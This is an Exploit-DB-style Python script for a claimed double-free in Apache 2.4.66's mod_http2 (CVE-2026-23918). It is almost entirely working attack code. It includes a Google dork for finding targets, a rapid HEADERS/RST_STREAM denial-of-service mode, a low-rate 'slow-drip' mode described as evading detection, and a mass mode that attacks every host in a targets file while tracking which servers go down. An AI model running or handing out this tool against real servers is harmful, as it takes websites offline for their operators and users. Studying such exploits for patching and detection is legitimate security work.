# Exploit Title: Apache HTTP Server 2.4.66 - 'mod_http2' Double-Free Denial of Service
# Google Dork: intext:"Apache/2.4.66" "HTTP/2"
# Date: 2026-05-06
# Exploit Author: xeloxa (https://github.com/xeloxa/) <[email protected]>
# Vendor Homepage: https://httpd.apache.org/
# Software Link: https://archive.apache.org/dist/httpd/httpd-2.4.66.tar.gz
# Version: 2.4.66
# Tested on: Debian / Ubuntu
# CVE : CVE-2026-23918

"""
CVE-2026-23918 - Apache mod_http2 Double-Free PoC

Quick summary: This bug (CWE-415) hits Apache 2.4.66. It's a race condition
in the stream cleanup path. If you spam HEADERS and RST_STREAM fast enough,
you can trigger a double-free and crash the worker.

Author: xeloxa (https://github.com/xeloxa/) <[email protected]>
Found by: Bartlomiej Dmitruk & Stanislaw Strzalkowski
"""

import argparse
import json
import os
import signal
import socket
import ssl
import sys
import threading
import time
from collections import defaultdict
from dataclasses import dataclass, field
from datetime import datetime
from typing import Dict, List, Optional, Tuple

# ---------------------------------------------------------------------------
# Dependency Check
# ---------------------------------------------------------------------------
try:
    import h2.config
    import h2.connection
    import h2.events

    HAS_H2 = True
except ImportError:
    HAS_H2 = False


# ---------------------------------------------------------------------------
# ANSI Colors (for terminal output)
# ---------------------------------------------------------------------------
class Color:
    RED = "\033[91m"
    GREEN = "\033[92m"
    YELLOW = "\033[93m"
    BLUE = "\033[94m"
    MAGENTA = "\033[95m"
    CYAN = "\033[96m"
    BOLD = "\033[1m"
    RESET = "\033[0m"


def c(text: str, color: str) -> str:
    """Wrap text in color if output is a terminal."""
    if sys.stdout.isatty():
        return f"{color}{text}{Color.RESET}"
    return text


def print_banner(title: str, color: str = Color.BOLD) -> None:
    """Print a consistent tool banner with author info."""
    print(f"{'=' * 60}")
    print(c(title, color))
    print(f"Author: xeloxa (https://github.com/xeloxa/)")
    print(f"{'=' * 60}")


# ---------------------------------------------------------------------------
# Data Structures
# ---------------------------------------------------------------------------
@dataclass
class ExploitStats:
    """Just a thread-safe counter for the stats."""

    connections: int = 0
    requests: int = 0
    resets: int = 0
    conn_errors: int = 0
    stream_errors: int = 0
    crashes: int = 0
    lock: threading.Lock = field(default_factory=threading.Lock)

    def inc(self, attr: str, delta: int = 1) -> None:
        with self.lock:
            setattr(self, attr, getattr(self, attr) + delta)

    def snapshot(self) -> Dict[str, int]:
        with self.lock:
            return {
                "connections": self.connections,
                "requests": self.requests,
                "resets": self.resets,
                "conn_errors": self.conn_errors,
                "stream_errors": self.stream_errors,
                "crashes": self.crashes,
            }


# ---------------------------------------------------------------------------
# SSL / HTTP/2 Connection Helpers
# ---------------------------------------------------------------------------
def create_ssl_context(
    alpn_protocols: Optional[List[str]] = None,
) -> ssl.SSLContext:
    """Create an SSL context configured for HTTP/2 ALPN negotiation."""
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    if alpn_protocols is None:
        alpn_protocols = ["h2"]
    ctx.set_alpn_protocols(alpn_protocols)
    return ctx


def establish_h2_connection(
    host: str,
    port: int,
    timeout: float = 5.0,
    use_ssl: bool = True,
) -> Tuple[Optional[socket.socket], Optional[h2.connection.H2Connection]]:
    """
    Sets up an H2 connection. 
    Returns (socket, h2_connection) or (None, None) if something breaks.
    """
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((host, port))

        if use_ssl:
            ctx = create_ssl_context()
            sock = ctx.wrap_socket(sock, server_hostname=host)

        config = h2.config.H2Configuration(client_side=True)
        conn = h2.connection.H2Connection(config=config)
        conn.initiate_connection()
        sock.sendall(conn.data_to_send())

        # Receive server preface (SETTINGS frame)
        data = sock.recv(8192)
        if not data:
            sock.close()
            return None, None
        conn.receive_data(data)
        sock.sendall(conn.data_to_send())

        return sock, conn
    except Exception:
        try:
            sock.close()
        except Exception:
            pass
        return None, None


# ---------------------------------------------------------------------------
# Mode 1: DoS - Rapid RST Attack
# ---------------------------------------------------------------------------
class RapidRSTDoS:
    """
    The "classic" Rapid-RST DoS.
    
    We send a HEADERS frame and immediately follow up with an RST_STREAM. 
    If the server hasn't registered the stream yet, it'll trigger two 
    different cleanup callbacks. Both try to free the same memory. 
    Boom - SIGSEGV.
    """

    def __init__(
        self,
        target: str,
        port: int,
        workers: int = 100,
        intensity: int = 7,
        use_ssl: bool = True,
        timeout: float = 5.0,
        verbose: bool = False,
        json_output: bool = False,
    ):
        self.target = target
        self.port = port
        self.num_workers = workers
        self.intensity = max(1, min(10, intensity))
        self.use_ssl = use_ssl
        self.timeout = timeout
        self.verbose = verbose
        self.json_output = json_output

        self.running = True
        self.crashed = False
        self.stats = ExploitStats()
        self.start_time: Optional[float] = None

    def is_server_alive(self) -> bool:
        """Check if the target server is responsive via HTTP/2."""
        sock, conn = establish_h2_connection(
            self.target, self.port, timeout=3.0, use_ssl=self.use_ssl
        )
        if sock is None:
            return False
        try:
            sock.close()
        except Exception:
            pass
        return True

    def worker(self, worker_id: int) -> None:
        """
        Worker thread that continuously opens HTTP/2 connections and sends
        HEADERS+RST_STREAM frame sequences to trigger the double-free.
        """
        streams_per_conn = 50
        reset_interval = max(1, 11 - self.intensity)  # Lower = more resets

        while self.running:
            sock, conn = establish_h2_connection(
                self.target,
                self.port,
                timeout=self.timeout,
                use_ssl=self.use_ssl,
            )
            if sock is None:
                self.stats.inc("conn_errors")
                time.sleep(0.1)
                continue

            self.stats.inc("connections")

            try:
                sent = 0
                while sent < streams_per_conn and self.running:
                    try:
                        stream_id = conn.get_next_available_stream_id()
                        conn.send_headers(
                            stream_id,
                            [
                                (b":method", b"GET"),
                                (b":scheme", b"https" if self.use_ssl else b"http"),
                                (b":authority", self.target.encode()),
                                (b":path", b"/"),
                            ],
                        )
                        sock.sendall(conn.data_to_send())
                        self.stats.inc("requests")

                        # Send RST_STREAM on configured interval
                        if sent % reset_interval == 0:
                            conn.reset_stream(stream_id, error_code=1)
                            sock.sendall(conn.data_to_send())
                            self.stats.inc("resets")

                        sent += 1
                        # Small delay to avoid overwhelming local resources
                        time.sleep(0.001 * (11 - self.intensity))

                    except Exception:
                        self.stats.inc("stream_errors")
                        break

                # Gracefully close the connection
                conn.close_connection()
                try:
                    sock.sendall(conn.data_to_send())
                except Exception:
                    pass

            except Exception:
                pass
            finally:
                try:
                    sock.close()
                except Exception:
                    pass

    def monitor(self) -> None:
        """Monitor thread that checks server aliveness and prints stats."""
        checks_since_alive = 0
        last_report = 0

        while self.running:
            time.sleep(0.5)
            alive = self.is_server_alive()

            if alive:
                checks_since_alive = 0
                elapsed = int(time.time() - self.start_time)
                if elapsed - last_report >= 10:
                    last_report = elapsed
                    snap = self.stats.snapshot()
                    if self.json_output:
                        print(
                            json.dumps(
                                {
                                    "timestamp": datetime.now().isoformat(),
                                    "elapsed_s": elapsed,
                                    "status": "alive",
                                    **snap,
                                }
                            )
                        )
                    else:
                        print(
                            f" {c(f'[t={elapsed}s]', Color.CYAN)} "
                            f"conns={snap['connections']} "
                            f"reqs={snap['requests']} "
                            f"resets={snap['resets']} "
                            f"{c('OK', Color.GREEN)}"
                        )
            else:
                checks_since_alive += 1
                if checks_since_alive >= 2 and not self.crashed:
                    self.crashed = True
                    self.stats.inc("crashes")
                    elapsed = int(time.time() - self.start_time)
                    if self.json_output:
                        print(
                            json.dumps(
                                {
                                    "timestamp": datetime.now().isoformat(),
                                    "elapsed_s": elapsed,
                                    "status": "CRASHED",
                                    **self.stats.snapshot(),
                                }
                            )
                        )
                    else:
                        print(f"\n{'=' * 60}")
                        print(
                            c(
                                f"!!! SERVER CRASHED at t={elapsed}s !!!",
                                Color.RED + Color.BOLD,
                            )
                        )
                        print(
                            f"Stats: {json.dumps(self.stats.snapshot(), indent=2)}"
                        )
                        print(f"{'=' * 60}")
                    self.running = False
                    return

    def run(self) -> None:
        """Execute the DoS exploit."""
        if not self.json_output:
            print_banner("CVE-2026-23918 - Apache Double-Free DoS", Color.BOLD + Color.RED)
            print(f"Target: {self.target}:{self.port}")
            print(f"Mode  : Rapid-RST")
            print(f"Stats : {self.num_workers} workers | Intensity {self.intensity}")
            print(f"SSL   : {'On' if self.use_ssl else 'Off'}")
            print(f"{'=' * 60}")

        if not HAS_H2:
            print(c("[!] h2 library missing. Install: pip3 install h2", Color.RED))
            sys.exit(1)

        # Pre-flight server check
        if not self.json_output:
            print(c("[*] Checking if server is up...", Color.YELLOW))
        if not self.is_server_alive():
            print(c(f"[!] Can't reach {self.target}:{self.port}", Color.RED))
            sys.exit(1)
        if not self.json_output:
            print(c("[+] Server's up. Sending payloads...\n", Color.GREEN))

        # Launch workers
        self.start_time = time.time()
        workers = []
        for i in range(self.num_workers):
            t = threading.Thread(target=self.worker, args=(i,), daemon=True)
            t.start()
            workers.append(t)

        # Run monitor (blocks until crash detected or Ctrl+C)
        self.monitor()

        # Wait for workers to finish
        for t in workers:
            t.join(timeout=2)

        # Final report
        snap = self.stats.snapshot()
        if self.json_output:
            print(
                json.dumps(
                    {
                        "timestamp": datetime.now().isoformat(),
                        "final": True,
                        "crashed": self.crashed,
                        **snap,
                    }
                )
            )
        else:
            print(f"\n{'=' * 60}")
            print(c("ATTACK RESULTS", Color.BOLD))
            print(f"{'=' * 60}")
            print(f"Connections: {snap['connections']}")
            print(f"Requests   : {snap['requests']}")
            print(f"Resets     : {snap['resets']}")
            print(f"Errors     : {snap['conn_errors']} (conn) / {snap['stream_errors']} (stream)")
            if self.crashed:
                print(c("\n[!] CRASH DETECTED - Double-free confirmed.", Color.RED + Color.BOLD))
            else:
                print(c("\n[-] Server's still alive.", Color.YELLOW))
            print(f"{'=' * 60}")


# ---------------------------------------------------------------------------
# Mode 2: Slow-Drip DoS (Stealth)
# ---------------------------------------------------------------------------
class SlowDripDoS:
    """
    Low-bandwidth, sustained denial of service.

    Uses fewer connections and longer intervals between RST_STREAM frames
    to evade detection while maintaining pressure on the target.
    """

    def __init__(
        self,
        target: str,
        port: int,
        workers: int = 5,
        intensity: int = 3,
        duration_minutes: int = 30,
        use_ssl: bool = True,
        timeout: float = 5.0,
        json_output: bool = False,
    ):
        self.target = target
        self.port = port
        self.num_workers = max(1, workers)
        self.intensity = max(1, min(5, intensity))
        self.duration_seconds = duration_minutes * 60
        self.use_ssl = use_ssl
        self.timeout = timeout
        self.json_output = json_output

        self.running = True
        self.stats = ExploitStats()
        self.start_time: Optional[float] = None

    def worker(self, worker_id: int) -> None:
        """Slow-drip worker - lower frequency, sustained attack."""
        while self.running and (
            time.time() - self.start_time < self.duration_seconds
        ):
            sock, conn = establish_h2_connection(
                self.target, self.port, timeout=self.timeout, use_ssl=self.use_ssl
            )
            if sock is None:
                self.stats.inc("conn_errors")
                time.sleep(0.5)
                continue

            self.stats.inc("connections")
            try:
                stream_id = conn.get_next_available_stream_id()
                conn.send_headers(
                    stream_id,
                    [
                        (b":method", b"GET"),
                        (b":scheme", b"https" if self.use_ssl else b"http"),
                        (b":authority", self.target.encode()),
                        (b":path", b"/"),
                    ],
                )
                sock.sendall(conn.data_to_send())
                self.stats.inc("requests")

                # Small delay before reset - simulates slow client
                time.sleep(0.01)
                conn.reset_stream(stream_id, error_code=1)
                sock.sendall(conn.data_to_send())
                self.stats.inc("resets")

                conn.close_connection()
                sock.sendall(conn.data_to_send())
            except Exception:
                self.stats.inc("stream_errors")
            finally:
                try:
                    sock.close()
                except Exception:
                    pass

            # Longer sleep for stealth
            delay = max(1.0, (6 - self.intensity) * 2.0)
            time.sleep(delay)

    def run(self) -> None:
        """Execute the slow-drip DoS."""
        if not self.json_output:
            print_banner("CVE-2026-23918 - Slow-Drip (Stealth)", Color.BOLD + Color.YELLOW)
            print(f"Target: {self.target}:{self.port}")
            print(f"Time  : {self.duration_seconds // 60} min")
            print(f"Workers: {self.num_workers} | Intensity: {self.intensity}")
            print(f"{'=' * 60}")

        if not HAS_H2:
            print(c("[!] h2 library missing. Install: pip3 install h2", Color.RED))
            sys.exit(1)

        self.start_time = time.time()
        workers = []
        for i in range(self.num_workers):
            t = threading.Thread(target=self.worker, args=(i,), daemon=True)
            t.start()
            workers.append(t)

        # Wait for duration or Ctrl+C
        try:
            while self.running and (
                time.time() - self.start_time < self.duration_seconds
            ):
                time.sleep(5)
                elapsed = int(time.time() - self.start_time)
                snap = self.stats.snapshot()
                if self.json_output:
                    print(
                        json.dumps(
                            {
                                "timestamp": datetime.now().isoformat(),
                                "elapsed_s": elapsed,
                                **snap,
                            }
                        )
                    )
                else:
                    remaining = self.duration_seconds - elapsed
                    print(
                        f" {c(f'[{elapsed}s/{remaining}s remaining]', Color.CYAN)} "
                        f"conns={snap['connections']} "
                        f"resets={snap['resets']}"
                    )
        except KeyboardInterrupt:
            pass

        self.running = False
        for t in workers:
            t.join(timeout=2)

        if not self.json_output:
            print(c("\n[*] Slow-drip attack complete.", Color.GREEN))


# ---------------------------------------------------------------------------
# Mode 3: Mass DoS
# ---------------------------------------------------------------------------
class MassDoS:
    """Multi-target sustained denial of service."""

    def __init__(
        self,
        targets_file: str,
        workers_per_target: int = 50,
        intensity: int = 7,
        duration_minutes: int = 30,
        use_ssl: bool = True,
        timeout: float = 5.0,
        json_output: bool = False,
    ):
        self.targets = self._load_targets(targets_file)
        self.workers_per_target = workers_per_target
        self.intensity = max(1, min(10, intensity))
        self.duration_seconds = duration_minutes * 60
        self.use_ssl = use_ssl
        self.timeout = timeout
        self.json_output = json_output

        self.running = True
        self.start_time: Optional[float] = None
        self.target_results: Dict[Tuple[str, int], Dict] = defaultdict(
            lambda: {
                "status": "unknown",
                "connections": 0,
                "conn_errors": 0,
                "requests": 0,
                "resets": 0,
                "crashes": 0,
            }
        )
        self.results_lock = threading.Lock()

    @staticmethod
    def _load_targets(path: str) -> List[Tuple[str, int]]:
        """Load targets from file (format: host:port or host)."""
        targets = []
        with open(path) as f:
            for line in f:
                line = line.strip()
                if not line or line.startswith("#"):
                    continue
                if ":" in line:
                    host, port = line.rsplit(":", 1)
                    targets.append((host.strip(), int(port.strip())))
                else:
                    targets.append((line.strip(), 443))
        return targets

    def is_alive(self, host: str, port: int) -> bool:
        """Quick aliveness check."""
        sock, conn = establish_h2_connection(
            host, port, timeout=3.0, use_ssl=self.use_ssl
        )
        if sock is None:
            return False
        try:
            sock.close()
        except Exception:
            pass
        return True

    def worker(self, host: str, port: int) -> None:
        """Attack worker for a specific target."""
        results = self.target_results[(host, port)]
        reset_interval = max(1, 11 - self.intensity)
        sent = 0

        while self.running and (
            time.time() - self.start_time < self.duration_seconds
        ):
            sock, conn = establish_h2_connection(
                host, port, timeout=self.timeout, use_ssl=self.use_ssl
            )
            if sock is None:
                with self.results_lock:
                    results["conn_errors"] += 1
                time.sleep(0.5)
                continue

            with self.results_lock:
                results["connections"] += 1

            try:
                while self.running and (
                    time.time() - self.start_time < self.duration_seconds
                ):
                    try:
                        sid = conn.get_next_available_stream_id()
                        conn.send_headers(
                            sid,
                            [
                                (b":method", b"GET"),
                                (
                                    b":scheme",
                                    b"https" if self.use_ssl else b"http",
                                ),
                                (b":authority", host.encode()),
                                (b":path", b"/"),
                            ],
                        )
                        sock.sendall(conn.data_to_send())
                        with self.results_lock:
                            results["requests"] += 1
                        sent += 1

                        if sent % reset_interval == 0:
                            conn.reset_stream(sid, error_code=1)
                            sock.sendall(conn.data_to_send())
                            with self.results_lock:
                                results["resets"] += 1
                    except Exception:
                        break

                conn.close_connection()
                try:
                    sock.sendall(conn.data_to_send())
                except Exception:
                    pass
            except Exception:
                pass
            finally:
                try:
                    sock.close()
                except Exception:
                    pass

    def monitor_target(self, host: str, port: int) -> None:
        """Monitor aliveness for a specific target."""
        results = self.target_results[(host, port)]
        while self.running and (
            time.time() - self.start_time < self.duration_seconds
        ):
            alive = self.is_alive(host, port)
            with self.results_lock:
                if not alive:
                    if results["status"] != "down":
                        results["status"] = "down"
                        results["crashes"] += 1
                        elapsed = int(time.time() - self.start_time)
                        if not self.json_output:
                            print(
                                c(
                                    f" [t={elapsed}s] {host}:{port} - SERVER DOWN",
                                    Color.RED,
                                )
                            )
                else:
                    results["status"] = "up"
            time.sleep(5)

    def print_dashboard(self) -> None:
        """Print live status dashboard."""
        print("\033[2J\033[H", end="")  # ANSI escape sequence to clear screen
        elapsed = int(time.time() - self.start_time)
        remaining = max(0, self.duration_seconds - elapsed)
        print(f"{'=' * 70}")
        print(f" CVE-2026-23918 Mass DoS | {elapsed}s elapsed | {remaining}s remaining")
        print(f"{'=' * 70}")
        print(
            f"{'Target':<35} {'Status':<10} {'Conns':<8} {'Err':<5} {'Reqs':<8} {'Resets':<8} {'Crashes':<8}"
        )
        print("-" * 80)
        for host, port in self.targets:
            r = self.target_results[(host, port)]
            print(
                f"{host+':'+str(port):<35} "
                f"{r['status']:<10} {r['connections']:<8} {r['conn_errors']:<5} "
                f"{r['requests']:<8} {r['resets']:<8} {r['crashes']:<8}"
            )
        print(f"{'=' * 70}")

    def run(self) -> None:
        """Execute mass DoS attack."""
        if not self.json_output:
            print_banner("CVE-2026-23918 - Mass Scan/Attack", Color.BOLD + Color.RED)
            print(f"Targets: {len(self.targets)} | Time: {self.duration_seconds // 60} min")
            print(f"Workers: {self.workers_per_target} per target | Intensity: {self.intensity}")
            print(f"{'=' * 60}\n")

        if not HAS_H2:
            print(c("[!] h2 library missing: pip3 install h2", Color.RED))
            sys.exit(1)

        self.start_time = time.time()

        # Launch workers for each target
        all_workers = []
        for host, port in self.targets:
            for _ in range(self.workers_per_target):
                t = threading.Thread(
                    target=self.worker, args=(host, port), daemon=True
                )
                t.start()
                all_workers.append(t)

            # Launch a monitor for each target
            mt = threading.Thread(
                target=self.monitor_target, args=(host, port), daemon=True
            )
            mt.start()
            all_workers.append(mt)

        # Dashboard loop
        try:
            while self.running and (
                time.time() - self.start_time < self.duration_seconds
            ):
                if not self.json_output:
                    self.print_dashboard()
                time.sleep(10)
        except KeyboardInterrupt:
            pass

        self.running = False
        for t in all_workers:
            t.join(timeout=2)

        if not self.json_output:
            self.print_dashboard()
            print(c("\n[*] Mass DoS complete.", Color.GREEN))


# ---------------------------------------------------------------------------
# Mode 4: RCE Detection (Passive)
# ---------------------------------------------------------------------------
def rce_detect(
    target: str, port: int, timeout: float = 5.0, json_output: bool = False
) -> Dict:
    """
    Passive check. We just look at headers and version info to see 
    if the target might be vulnerable. No exploit payloads sent.
    """
    if not HAS_H2:
        if json_output:
            print(
                json.dumps(
                    {"error": "h2 library not installed. Run: pip3 install h2"}
                )
            )
        else:
            print(c("[!] h2 library missing. Install: pip3 install h2", Color.RED))
        return {"error": "h2 library not installed"}

    result = {
        "target": f"{target}:{port}",
        "timestamp": datetime.now().isoformat(),
        "reachable": False,
        "http2_supported": False,
        "server_header": None,
        "apache_version": None,
        "likely_vulnerable": False,
        "cve_applicable": False,
        "notes": [],
    }

    # Try HTTP/2 connection
    sock, conn = establish_h2_connection(target, port, timeout=timeout, use_ssl=True)
    if sock is None:
        result["notes"].append("Target not reachable or HTTP/2 not supported")
        return result

    result["reachable"] = True
    result["http2_supported"] = True

    # Send a GET request and observe response
    try:
        stream_id = conn.get_next_available_stream_id()
        conn.send_headers(
            stream_id,
            [
                (b":method", b"GET"),
                (b":scheme", b"https"),
                (b":authority", target.encode()),
                (b":path", b"/"),
            ],
        )
        conn.end_stream(stream_id)
        sock.sendall(conn.data_to_send())

        # Receive response
        data = sock.recv(8192)
        if data:
            events = conn.receive_data(data)
            for event in events:
                if isinstance(event, h2.events.ResponseReceived):
                    for name, value in event.headers:
                        header_name = name.decode("utf-8", errors="replace").lower()
                        header_value = value.decode("utf-8", errors="replace")
                        if header_name == "server":
                            result["server_header"] = header_value
                            # Try to extract Apache version
                            if "apache" in header_value.lower():
                                parts = header_value.split("/")
                                if len(parts) > 1:
                                    result["apache_version"] = (
                                        parts[-1].strip().split()[0]
                                    )
    except Exception as e:
        result["notes"].append(f"Error during detection: {e}")

    try:
        sock.close()
    except Exception:
        pass

    # Analyze vulnerability status
    if result["apache_version"]:
        # Apache 2.4.66 is the affected version per CVE record
        if result["apache_version"] == "2.4.66":
            result["likely_vulnerable"] = True
            result["cve_applicable"] = True
            result["notes"].append("Apache 2.4.66 detected - VULNERABLE to CVE-2026-23918")
        else:
            try:
                # Parse version for comparison
                version_parts = result["apache_version"].split(".")
                if len(version_parts) >= 3:
                    major, minor, patch = (
                        int(version_parts[0]),
                        int(version_parts[1]),
                        int(version_parts[2]),
                    )
                    if (major, minor, patch) >= (2, 4, 67):
                        result["notes"].append(
                            f"Apache {result['apache_version']} - PATCHED (>= 2.4.67)"
                        )
                    elif (major, minor, patch) < (2, 4, 66):
                        result["notes"].append(
                            f"Apache {result['apache_version']} - outside confirmed CVE range (< 2.4.66)"
                        )
                    else:
                        result["cve_applicable"] = True
                        result["likely_vulnerable"] = True
            except (ValueError, IndexError):
                result["notes"].append("Could not parse version string")
    elif result["http2_supported"]:
        result["notes"].append(
            "HTTP/2 supported but version unknown - manual verification needed"
        )
        result["cve_applicable"] = True  # Potentially vulnerable

    if json_output:
        print(json.dumps(result, indent=2))
    else:
        print_banner("Vulnerability Scan Report", Color.BOLD)
        print(f"Target : {result['target']}")
        print(f"H2     : {'Supported' if result['http2_supported'] else 'Not found'}")
        print(f"Server : {result['server_header'] or 'Unknown'}")
        print(f"Apache : {result['apache_version'] or 'Unknown'}")
        
        status = c("LIKELY VULNERABLE", Color.RED + Color.BOLD) if result['likely_vulnerable'] else c("Likely safe", Color.GREEN)
        print(f"Status : {status}")
        
        if result["notes"]:
            print(f"Notes  :")
            for note in result["notes"]:
                print(f"  - {note}")
        print(f"{'=' * 60}")

    return result


# ---------------------------------------------------------------------------
# Signal Handling
# ---------------------------------------------------------------------------
def signal_handler(sig: int, frame) -> None:
    """Handle interrupt signals for a clean exit."""
    print(c("\n[!] Received interrupt - shutting down...", Color.YELLOW))
    sys.exit(0)


# ---------------------------------------------------------------------------
# Main Entry Point
# ---------------------------------------------------------------------------
def main() -> None:
    parser = argparse.ArgumentParser(
        description="CVE-2026-23918 - Apache HTTP/2 Double-Free Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --target 192.168.1.100 --port 8443 --mode dos
  %(prog)s --target example.com --mode rce-detect
  %(prog)s --targets targets.txt --mode mass --duration 30
  %(prog)s --target 10.0.0.50 --mode slow-drip -w 5 -i 3 -d 60
        """,
    )

    parser.add_argument(
        "--target", "-t", help="Target IP or hostname"
    )
    parser.add_argument(
        "--port", "-p", type=int, default=443, help="Target port (default: 443)"
    )
    parser.add_argument(
        "--mode",
        "-m",
        choices=["dos", "slow-drip", "mass", "rce-detect"],
        default="dos",
        help="Exploit mode (default: dos)",
    )
    parser.add_argument(
        "--targets",
        "-T",
        help="File with target list for mass mode (format: host:port per line)",
    )
    parser.add_argument(
        "--workers",
        "-w",
        type=int,
        default=100,
        help="Number of concurrent worker threads (default: 100)",
    )
    parser.add_argument(
        "--intensity",
        "-i",
        type=int,
        default=7,
        help="Attack intensity 1-10 (default: 7)",
    )
    parser.add_argument(
        "--duration",
        "-d",
        type=int,
        default=30,
        help="Attack duration in minutes for slow-drip/mass modes (default: 30)",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=5.0,
        help="Connection timeout in seconds (default: 5)",
    )
    parser.add_argument(
        "--no-ssl",
        action="store_true",
        help="Use plaintext HTTP/2 (h2c) instead of HTTPS (h2)",
    )
    parser.add_argument(
        "--verbose", "-v", action="store_true", help="Verbose output"
    )
    parser.add_argument(
        "--json", action="store_true", dest="json_output", help="JSON output format"
    )

    args = parser.parse_args()

    # Validate arguments
    if args.mode in ("dos", "slow-drip", "rce-detect") and not args.target:
        parser.error(f"--target is required for mode '{args.mode}'")
    if args.mode == "mass" and not args.targets:
        parser.error("--targets file is required for mass mode")

    use_ssl = not args.no_ssl

    # Register signal handlers for clean exit
    signal.signal(signal.SIGINT, signal_handler)
    signal.signal(signal.SIGTERM, signal_handler)

    # Dispatch to selected mode
    try:
        if args.mode == "dos":
            exploit = RapidRSTDoS(
                target=args.target,
                port=args.port,
                workers=args.workers,
                intensity=args.intensity,
                use_ssl=use_ssl,
                timeout=args.timeout,
                verbose=args.verbose,
                json_output=args.json_output,
            )
            exploit.run()

        elif args.mode == "slow-drip":
            exploit = SlowDripDoS(
                target=args.target,
                port=args.port,
                workers=args.workers,
                intensity=args.intensity,
                duration_minutes=args.duration,
                use_ssl=use_ssl,
                timeout=args.timeout,
                json_output=args.json_output,
            )
            exploit.run()

        elif args.mode == "mass":
            exploit = MassDoS(
                targets_file=args.targets,
                workers_per_target=args.workers,
                intensity=args.intensity,
                duration_minutes=args.duration,
                use_ssl=use_ssl,
                timeout=args.timeout,
                json_output=args.json_output,
            )
            exploit.run()

        elif args.mode == "rce-detect":
            rce_detect(
                target=args.target,
                port=args.port,
                timeout=args.timeout,
                json_output=args.json_output,
            )

    except KeyboardInterrupt:
        print(c("\n[!] Interrupted by user.", Color.YELLOW))
        sys.exit(0)
    except Exception as e:
        print(c(f"\n[!] Fatal error: {e}", Color.RED))
        sys.exit(1)


if __name__ == "__main__":
    main()